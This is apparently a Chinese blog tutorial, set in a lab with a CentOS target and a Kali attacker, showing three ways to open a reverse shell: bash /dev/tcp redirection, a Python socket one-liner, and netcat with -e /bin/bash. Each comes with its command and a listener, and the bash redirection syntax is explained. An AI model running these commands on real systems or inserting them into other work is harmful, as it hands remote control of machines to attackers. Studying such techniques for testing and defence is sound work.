实现反弹shell的几种方式

实验环境:

操作系统IP别称
Centos7.6192.168.170.129目标机
KaliLinux192.168.170.131源机

cat输入输出重定向

源机
在这里插入图片描述
输入重定向
目标机输入重定向
在这里插入图片描述
源机
在这里插入图片描述
目标机
在这里插入图片描述
输出重定向
源机
在这里插入图片描述
目标机输出重定向
在这里插入图片描述
源机显示

在这里插入图片描述
方法1.反弹shell命令如下(目标机执行)

bash -i >& /dev/tcp/ip/port 0>&1
  1. 在源机上开启监听制定端口
    在这里插入图片描述
  2. 在目标机执行
    在这里插入图片描述
  3. 如果没有在防火墙没有开放7777端口,则需要关闭防火墙才行,如果指定的7777端口已经开放,则目标机的shell会成功反弹到源机

在这里插入图片描述
还有就是>&这个符号的含义,最好的理解是这样的:

>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

linux 设备里面有个比较特殊的文件:
/dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现。>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

方法2,利用Python:

  1. 在源机开启监听

在这里插入图片描述
2. 在目标机输入脚本:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.170.131',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述
3. 反弹成功
在这里插入图片描述
方法3,使用nc
1.在kali开启监听

nc -nlvp 7777

2.在centos执行命令

nc -e /bin/bash 192.168.0.4 7777

3.反弹shell成功
在这里插入图片描述
这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。
参考1
参考2

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值